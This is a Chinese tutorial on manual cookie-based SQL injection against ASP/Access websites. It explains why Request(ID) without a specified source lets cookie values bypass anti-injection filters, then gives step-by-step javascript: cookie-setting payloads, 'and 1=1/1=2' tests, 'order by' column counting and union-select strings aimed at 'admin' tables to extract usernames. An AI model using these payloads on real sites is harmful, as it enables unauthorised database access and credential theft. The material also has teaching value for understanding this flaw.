乐趣区

Access之cookie手工注入

cookie 注入的原理其实并不复杂。学过 ASP 语言的应该都知道,在 ASP 中 例如:

id=request.querystring(ID);

id=request.form(ID);

在正常情况下程序员应该按以上规范进行代码的编写,但是部分程序员,为了方便却将代码写成了如下格式:

id=request(ID);

虽然此时也加了防注入程序。但是,防注入程序并不支持基于 cookie 提交的数据。而此时代码由于接受任何提交方式,从而导致了 cookie 注入的产生!下面我来简单演示下 cookie 手工注入的过程。

首先,我们在存在 cookie 注入的页面,按其正常地址进行一次完整的访问。完整访问是为了收集其 cookie。

接着,我们使用 JS 代码在地址栏将原先的地址替换为如下代码:

javascript:alert(document.cookie=”id=”+escape(“26”));

这句话的意思是修改之前正常页面的 cookie 值。注意:escape 内的数值必须与 ID 值相同,同样 id 参数也必须需原地址名保持一致!

当我们回车后页面反弹回 JS 弹框,并显示了 id=26,说明我们已经修改了 cookie。

此时,我们打开一个新页面,将之前存在注入的页面地址拷贝到地址栏。注意:这里将后面的 id 参数去除后,再进行访问!如图。页面如果依然返回正常,则说明 cookie 修改成功!

下面我们就可以按正常的思路,来测试其是否真正存在注入。我们回到之前已被我们成功修改 cookie 的页面!然后我们就可以通过简单的注入语句,来判定注入的存在与否:

and 1=1

and 1=2

注:这里的语句要加在 JS 语句的 ID 值后!

在证明确实存在注入后,我们就可以开始猜它的列数了:

order by xx

直到页面返回正常!

在猜出列数后,我们就可以来继续猜解表名。

javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,6,7,8,9,10 from manage”));

得到表名后,我们继续进行列名的猜解。

javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,username,7,8,9,10 from admin”));

当我们猜解的表名列名均为正确时,我们就可以在页面爆出其账户信息!


退出移动版